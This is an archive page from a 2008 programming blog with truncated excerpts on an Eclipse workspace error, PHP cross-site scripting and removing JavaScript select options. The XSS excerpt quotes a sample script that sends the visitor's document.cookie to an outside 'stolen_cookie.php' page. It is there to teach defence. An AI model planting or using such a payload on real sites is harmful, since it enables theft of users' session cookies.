Archive

Archive for August, 2008

Eclipse Workspace In Use Or Cannot Be Created

Aug 11th, 2008

Some of the eclipse editor’s messages are very annoying and difficult to understand.
One such message is: eclipse workspace in use or cannot be created. And it offer no solution to this problem. I have to manually solve this. I got this problem when my network drive was unaccessible.
Go to C:\eclipse\configuration\.settings\org.eclipse.ui.ide.prefs.
Open this file in text editor [...]

PHP Security: Cross-Site scripting

Aug 10th, 2008

Cross-Site scripting is one of the best know attack. Any web application that displays input is at risk. In this Web 2.0 time this attack can be easy to do.
Suppose a user has entered this data in input in form:

Hi, I am cool.
<script>
document.location = ‘http://coolsite.com/stolen_cookie.php?cookies=’ + document.cookie
</script>

Displaying this data to your users will send all [...]

Javascript: Remove / Delete a Select Option from List

Aug 9th, 2008

To remove the Options from Select list, you need to assign NULL value to the option you want to delete. Or, you can use function remove() on select object.
Solution here are using simple JavaScript. After this, you will find solution using JQuery.

<script type=”text/javascript”>
function remSelOpt(inp1, sel1)
{
len1 = sel1.options.length;
for (i=0;i<len1 ;i++ )
{
if [...]